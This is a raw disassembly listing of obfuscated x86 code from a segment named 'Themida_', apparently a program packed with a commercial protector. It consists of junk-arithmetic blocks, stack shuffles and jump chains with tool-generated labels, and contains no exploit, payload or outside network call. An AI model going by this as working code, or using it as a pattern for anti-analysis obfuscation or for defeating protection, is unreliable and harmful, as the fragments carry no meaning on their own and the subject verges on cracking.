; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AE003:				; CODE XREF: sub_5A7343-DDBCj
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A6853
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5AE014:				; CODE XREF: sub_5ABF4A-5DD7j
		pop	eax
		xor	edi, 7BE71FBBh
		jmp	loc_5A9FC6
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------


loc_5AE020:				; CODE XREF: Themida_:0059A455j
		push	ebp
		mov	ebp, 23270C58h
		sub	ebp, 23270C54h
		sub	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		jmp	loc_5AAEC6
; ---------------------------------------------------------------------------


loc_5AE044:				; CODE XREF: Themida_:005AE2F7j
		push	eax
		jmp	loc_5A58DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4470


loc_5AE04A:				; CODE XREF: sub_5A4470+155j
		pop	edx
		jmp	loc_59DEF2
; END OF FUNCTION CHUNK	FOR sub_5A4470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A438E


loc_5AE050:				; CODE XREF: sub_5A438E-A013j
		pop	ebx
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	[esp+0Ch+var_8]
		pop	ebx
		jmp	loc_5A7E8D
; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5AE05F:				; CODE XREF: sub_5A5509-97DEj
					; sub_5A8F00-4C2Bj
		mov	ebp, 9B70195h
		neg	ebp
		sub	ebp, 78252456h
		jbe	loc_59ABF0
		shr	ebp, 8
		jmp	loc_5A3C41
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5AE07A:				; CODE XREF: sub_59C342-245Bj
		xchg	ebx, [esp-8+arg_4]
		pop	esp
		push	68B0h
		jmp	loc_5A1757
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AE088:				; CODE XREF: sub_59D99C+E97Ej
		xor	edi, 281F7343h
		shl	edi, 2
		and	edi, 1E9968E2h
		xor	edi, 46FB17B2h
		push	3515h
		jmp	loc_5ACBA4
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_5AE0A7:				; CODE XREF: sub_59858D+12j
		push	ecx
		jmp	loc_5A0F4C
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5AE0AD:				; CODE XREF: sub_59EB21+1CCBj
		push	[esp-8+arg_4]
		jmp	loc_5A11AB
; END OF FUNCTION CHUNK	FOR sub_59EB21

; =============== S U B	R O U T	I N E =======================================



sub_5AE0B5	proc near		; DATA XREF: Themida_:00597974o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059815A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598209 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059A8B4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059ABE4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E4C9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A0559 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A13EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A168A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A3F09 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A81BA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A877A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A89E3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA2DE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005AA63C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AAB3F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB410 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005ACA42 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AD819 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AE3DA SIZE 00000007 BYTES

		push	dword ptr [esp+0]
		pop	edx
		sub	esp, 4
		jmp	loc_5A81BA
sub_5AE0B5	endp

; ---------------------------------------------------------------------------


loc_5AE0C1:				; CODE XREF: Themida_:loc_598204j
		add	eax, 0B3BC66BFh
		mov	ebx, eax
		jmp	loc_5AE6F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AE0CD:				; CODE XREF: sub_5AEE2E-62D9j
		mov	eax, 22A389B4h
		xor	ebp, eax
		pop	eax
		add	edi, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5A7242
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_5AE0EB:				; CODE XREF: Themida_:00598027j
		push	50B81909h
		jmp	loc_5A3481
; ---------------------------------------------------------------------------


loc_5AE0F5:				; CODE XREF: Themida_:005A0F75j
		add	esi, 3AE35FDBh
		pop	ebx
		push	0
		push	eax
		jmp	loc_5A2EB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5AE107:				; CODE XREF: sub_5AB72D:loc_5A3EB4j
		neg	esi
		jge	loc_59C90C
		add	esi, 400E4998h
		jmp	loc_59E356
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------


loc_5AE11A:				; CODE XREF: Themida_:005AA84Dj
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 253659B2h
		dec	edx
		jmp	loc_5AE86A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_5AE133:				; CODE XREF: sub_5AB0CE-DC32j
		mov	edi, 6E5A36B3h
		jmp	loc_5AED88
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------


loc_5AE13D:				; CODE XREF: Themida_:005A1406j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 0C5BA958Dh
		add	eax, ebp
		jmp	loc_5A4A8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AE150:				; CODE XREF: sub_5A8D43-620j
					; Themida_:005AE191j
		shr	ecx, 4
		jnp	loc_59BC1C
		jmp	loc_59FB08
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
		add	ecx, eax
		xor	ch, 0CFh
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5AE163:				; CODE XREF: sub_5A02EA+2427j
		add	dword ptr [esp+8], 1BC1343h
		pop	ebp
		push	esi
		mov	esi, 5E0302E6h
		sub	[esp+8], esi
		pop	esi
		jmp	loc_5AB005
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------


loc_5AE17C:				; CODE XREF: Themida_:005AB896j
		push	ebp
		mov	ebp, 2ECA7E04h
		push	esi
		jmp	loc_5AB597
; ---------------------------------------------------------------------------


loc_5AE188:				; CODE XREF: Themida_:005AA637j
		and	ecx, esi
		pop	esi
		add	ecx, 81B01F7h
		jmp	loc_5AE150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AE196:				; CODE XREF: sub_5AA500-1261Bj
					; sub_59D99C-5945j
		not	dword ptr [esp+0]
		pop	eax
		push	ebp
		push	eax
		pop	ebp
		jmp	loc_5AE826
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5AE1A2:				; CODE XREF: Themida_:0059EFF4j
		neg	edi
		jmp	loc_5AA8B4

; =============== S U B	R O U T	I N E =======================================



sub_5AE1A9	proc near		; CODE XREF: sub_5ADCDE-761Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005AA690 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD5C2 SIZE 0000002E BYTES

		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 1FF6F9Fh
		not	edi
		and	edi, 5F874609h
		jmp	loc_5AD5C2
sub_5AE1A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5AE1BF:				; CODE XREF: sub_5AD8C7+8j
		mov	[esp+8+var_8], esi
		jmp	loc_5A3EE8
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AE1C7:				; CODE XREF: sub_5ACD64-168Ej
		pop	esi
		jmp	loc_5A5AEE
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AE1CD:				; CODE XREF: sub_59CA4A+C018j
					; sub_5A8C33+1645j
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		add	esp, 4
		add	esp, 4
		jmp	loc_59BDB8
; ---------------------------------------------------------------------------


loc_5AE1E4:				; CODE XREF: sub_59A932-17D3j
					; sub_59CA4A+B0FFj
		dec	edx
		jmp	loc_5995F5
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D832


loc_5AE1EA:				; CODE XREF: sub_59D832+3584j
		and	ebp, 4871597Dh
		or	ebp, 394E6777h
		inc	ebp
		jmp	loc_5998D9
; END OF FUNCTION CHUNK	FOR sub_59D832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AE1FC:				; CODE XREF: sub_5A7343-1D27j
		neg	edx
		jmp	loc_5A2E62
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AE203:				; CODE XREF: sub_597F0C+15C40j
		not	cl
		shl	cl, 4
		jnz	loc_5A3FA1
		jmp	loc_5AA132
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
		push	200h
		pop	ecx
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5AE21A:				; CODE XREF: sub_5AD8C7-2347j
		push	573Ch
		mov	[esp+4+var_4], edi
		push	ebx
		mov	ebx, 42300BB5h
		jmp	sub_599059
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AE22D:				; CODE XREF: sub_5A1340-67DEj
		push	ecx
		mov	cl, 0E9h
		xor	bh, cl
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_59C58A
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5AE23A:				; CODE XREF: Themida_:00599BAFj
					; sub_5ABA9B+C6Dj
		not	edx
		or	edx, 2FB9392Ah
		dec	edx
		inc	edx
		jmp	loc_59ABF8
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AE249:				; CODE XREF: sub_5A600F+49Fj
					; sub_59D99C+8FB9j
		sub	edi, 6FC89612h
		sub	esi, edi
		pop	edi
		jmp	loc_5AC6D7
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5AE257:				; CODE XREF: sub_5ABE52-C9E8j
					; sub_5ABF4A-333Bj
		jge	loc_5A2CF2
		inc	ebx
		js	loc_5AB73A
		mov	eax, esi
		push	ebx


loc_5AE267:				; CODE XREF: Themida_:005AD625j
		sub	edi, 4BF34A9Ah
		mov	ebp, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5AEDF9
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AE286:				; CODE XREF: sub_598D67+649Aj
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		xor	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
; END OF FUNCTION CHUNK	FOR sub_598D67
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE292:				; CODE XREF: sub_598D67+2C8Ej
					; sub_5A8C33-1760j
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		push	ecx
		mov	ecx, 58B11B21h
		push	ecx
		jmp	sub_5ABF4A
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AE2A7:				; CODE XREF: sub_5AC95F-7DE4j
		add	edx, 25311B8Fh
		sub	edx, ebx
		jmp	loc_5A9089
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5AE2B4:				; CODE XREF: sub_597F0C+A4C0j
		mov	edx, 519A5C2Ah
		sub	edx, esi
		pop	esi
		push	edx
		jmp	loc_59BCFD
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AE2C2:				; CODE XREF: sub_5A1B2A+1DF2j
		sub	edi, 0A1EA77DAh
		sub	esi, edi
		pop	edi
		jmp	loc_5A8AEF
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5AE2D0:				; CODE XREF: sub_5A58AC+Dj
		pop	edi
		push	30FEh
		mov	[esp+8+var_8], ecx
		jmp	loc_599F71
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AE2DE:				; CODE XREF: sub_59C53B+3308j
		xor	ecx, 2CB6380h
		jmp	loc_5AB1D0
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_5AE2E9:				; CODE XREF: Themida_:0059A1D3j
		add	[esp+4], ecx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AE044
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A799C


loc_5AE2FC:				; CODE XREF: sub_5A799C-A08Fj
		add	al, cl
		jmp	loc_5A2B84
; END OF FUNCTION CHUNK	FOR sub_5A799C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AE303:				; CODE XREF: sub_599059+13A13j
		xchg	eax, edx
		push	esi
		mov	esi, 78220406h
		neg	esi
		jmp	loc_5A3273
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AE311:				; CODE XREF: sub_59C53B+12CBFj
		jge	loc_5A5F9C
		jmp	loc_5980ED
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5AE31C:				; CODE XREF: sub_5A02EA+AD1Ej
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+0Ch+var_8]
		pop	ecx
		pop	[esp+0Ch+var_C]
		pop	esp
		jmp	loc_5A7D9D
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_5AE337:				; CODE XREF: sub_59D663+66EBj
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	ecx, [esp+0]
		add	esp, 4
		push	6C37h
		mov	[esp+0], esi
		jmp	loc_59A73B
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------


loc_5AE34E:				; CODE XREF: Themida_:005994A3j
		xor	eax, 648209D2h
		and	esi, eax
		jmp	loc_59EA6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AE35A:				; CODE XREF: sub_5AEE2E-9357j
		add	al, dh
		push	[esp-8+arg_4]
		pop	edx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_5A6105
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AE374:				; CODE XREF: sub_5AC95F-19BDj
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], edx
		push	eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5AE381:				; CODE XREF: sub_59B48F+Bj
		xor	eax, ebp
		jmp	loc_5A110E
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AE388:				; CODE XREF: sub_599059+BF95j
		and	ecx, edi
		push	dword ptr [esp+0]
		pop	edi
		jmp	sub_5A05FB
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE393:				; CODE XREF: sub_5A8C33+2F42j
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		jmp	loc_5A1959
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AE39E:				; CODE XREF: Themida_:005A5BA0j
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		push	esp
		jmp	loc_5AEFC1
; ---------------------------------------------------------------------------


loc_5AE3B0:				; CODE XREF: Themida_:00598AE9j
		jnz	loc_59E5EA
		dec	ecx
		xor	ecx, 17673C11h
		jmp	loc_5A03FE
; ---------------------------------------------------------------------------
		mov	esi, ebx
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5AE3C4:				; CODE XREF: sub_5A8F00-15DEj
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 47CC5034h
		add	ecx, esi
		add	ecx, 47CC5034h
		jmp	loc_59DA9E
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5AE3DA:				; CODE XREF: sub_5AE0B5-DB3Cj
		or	ebx, ebp
		jmp	loc_5A89E3
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5AE3E1:				; CODE XREF: sub_5AB88E-8F9Ej
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_59D1EB
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5AE3EC:				; CODE XREF: Themida_:0059DE00j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5ACCD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AE3FF:				; CODE XREF: sub_59CA4A+7F1j
		add	ebx, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		jmp	loc_5A9C25
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE40D:				; CODE XREF: sub_5A8C33-CB2Bj
		pop	ebx
		not	eax
		xor	eax, 1CC31838h
		jmp	loc_5A4114
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AE41A:				; CODE XREF: Themida_:005AA10Fj
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 567B690Ch
		neg	ebx
		jmp	loc_59B9E4
; ---------------------------------------------------------------------------


loc_5AE42A:				; CODE XREF: Themida_:005A2CC4j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 7CAF2E82h
		xor	ebx, 72C205B3h
		push	eax
		push	54156DDh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5ABF12
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59B0DF

; =============== S U B	R O U T	I N E =======================================



sub_5AE45C	proc near		; CODE XREF: sub_5A28BE-6B24j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005A2534 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A3D9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A4D7B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A6E25 SIZE 00000012 BYTES

		push	ebp
		neg	[esp-4+arg_0]
		pop	ebp
		push	25A8h
		mov	[esp-4+arg_0], edi
		mov	edi, 55381DE2h
		xor	ebp, edi
		pop	edi
		push	edi
		mov	edi, 5C641B9Ah
		jmp	loc_5A2534
sub_5AE45C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AE47C:				; CODE XREF: Themida_:loc_5A7D30j
		xor	ebp, 0D612CEEDh
		not	ebp
		push	ebp
		neg	dword ptr [esp]
		pop	ebp
		jmp	loc_5A8FB6
; ---------------------------------------------------------------------------


loc_5AE48E:				; CODE XREF: Themida_:005AEE4Cj
		add	esp, 4
		pop	edi
		xor	edx, [esp]
		jmp	loc_59EDBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AE49D:				; CODE XREF: sub_59C53B+BE50j
		add	ecx, edi
		add	ecx, 4B7B5022h
		mov	edi, [esp+8+var_8]
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4FD95AB3h
		and	ebx, 293C6160h
		or	ebx, 6ACB08D0h
		inc	ebx
		add	ebx, 9424B713h
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, 2
		jmp	loc_599A39
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE4ED:				; CODE XREF: Themida_:005A11CCj
					; sub_5A8C33-1910j
		push	small 2039h
		mov	word ptr [esp+0Ah+var_C+2], ax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AE4FA:				; CODE XREF: Themida_:00599FA4j
		and	esi, 5217331Ah
		xor	esi, 79646E1Ah
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A29CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AE513:				; CODE XREF: sub_59B707+9795j
		jmp	loc_5AED35
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5AE518:				; CODE XREF: Themida_:0059FC90j
		add	edi, 2BB0654h
		add	edi, eax
		push	eax
		jmp	loc_5AF19A
; ---------------------------------------------------------------------------


loc_5AE526:				; CODE XREF: Themida_:0059F7B5j
					; Themida_:005A8C61j
		add	ebp, 77173950h
		add	ebp, eax
		sub	ebp, 77173950h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A181C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE557:				; CODE XREF: sub_5A8C33-570j
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		jmp	loc_5AC1D2
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AE564:				; CODE XREF: sub_59CA4A+929Ej
		mov	ecx, edi
		jmp	sub_5A34FD
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5AE56B:				; CODE XREF: Themida_:005AF10Bj
		jge	loc_5A30DE
		add	eax, 63975CBDh
		mov	edi, eax
		pop	eax
		jmp	loc_5A7D44
; ---------------------------------------------------------------------------
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5AE57F:				; CODE XREF: sub_5A8F00-1F01j
		mov	ebp, 0FFFFFFFFh
		jmp	loc_5A388C
; END OF FUNCTION CHUNK	FOR sub_5A8F00

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5AE589	proc near		; CODE XREF: sub_5AC95F-28A8j

; FUNCTION CHUNK AT 0059A239 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B89E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AEAC8 SIZE 0000002F BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_5AEAC8
sub_5AE589	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5AE59E:				; CODE XREF: sub_5986D6+FD87j
		mov	al, 0AAh
		shr	al, 7
		jns	loc_59C4F3
		shl	al, 7
		jns	loc_5A2052
		mov	edx, esi
; END OF FUNCTION CHUNK	FOR sub_5986D6
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AE5B4:				; CODE XREF: sub_5AC95F-101F1j
		pop	[esp+8+var_8]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AE5BC:				; CODE XREF: sub_5A8C33-7099j
		mov	esp, [esp-14h+arg_10]
		jmp	loc_59E4A7
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AE5C4:				; CODE XREF: Themida_:005A1A73j
		mov	ebx, 653361C8h
		push	edi
		mov	edi, 5FEC083Eh
		or	edi, 1560234h
		jmp	loc_5A4C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AE5DA:				; CODE XREF: sub_5AE6FD-13381j
		push	ecx
		mov	ecx, 3A0D3033h
		jmp	loc_5AD802
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5AE5E5:				; DATA XREF: Themida_:005978ECo
		mov	cx, [esp]
		push	8FAh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 632471F9h
		jmp	loc_5A95A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AE604:				; CODE XREF: sub_59C53B+12CA9j
		jl	loc_5A385E
		shl	edx, 2
		shr	edx, 6
		js	loc_59A6EE
		add	edx, 51BC65B9h
		jp	loc_59B38A
		jmp	loc_59F06B
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AE627:				; CODE XREF: sub_599059+BA59j
		add	ecx, 5A0B16D4h
		add	ecx, edx
		sub	ecx, 5A0B16D4h
		add	ecx, 72251C9h
		push	[esp-0Eh+arg_A]
		jmp	loc_59F635
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5AE643:				; CODE XREF: sub_59C342+5432j
		xchg	ebp, esi
		jmp	loc_5AA34F
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5AE64A:				; CODE XREF: sub_59AE49+1068Aj
		mov	edx, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	eax, 61606A12h
		xor	eax, edi
		pop	edi
		add	eax, 0AB6A1AF7h
		xor	edx, eax
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_5A2ADF
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AE675:				; CODE XREF: sub_59D99C+77D1j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+16h+var_18+2]
		pop	esp
		mov	[esp+12h+var_14+2], ebx
		push	12AB4F0Eh
		pop	ebx
		push	6C66h
		mov	[esp+16h+var_18+2], eax
		jmp	loc_5A8DD4
; END OF FUNCTION CHUNK	FOR sub_59D99C
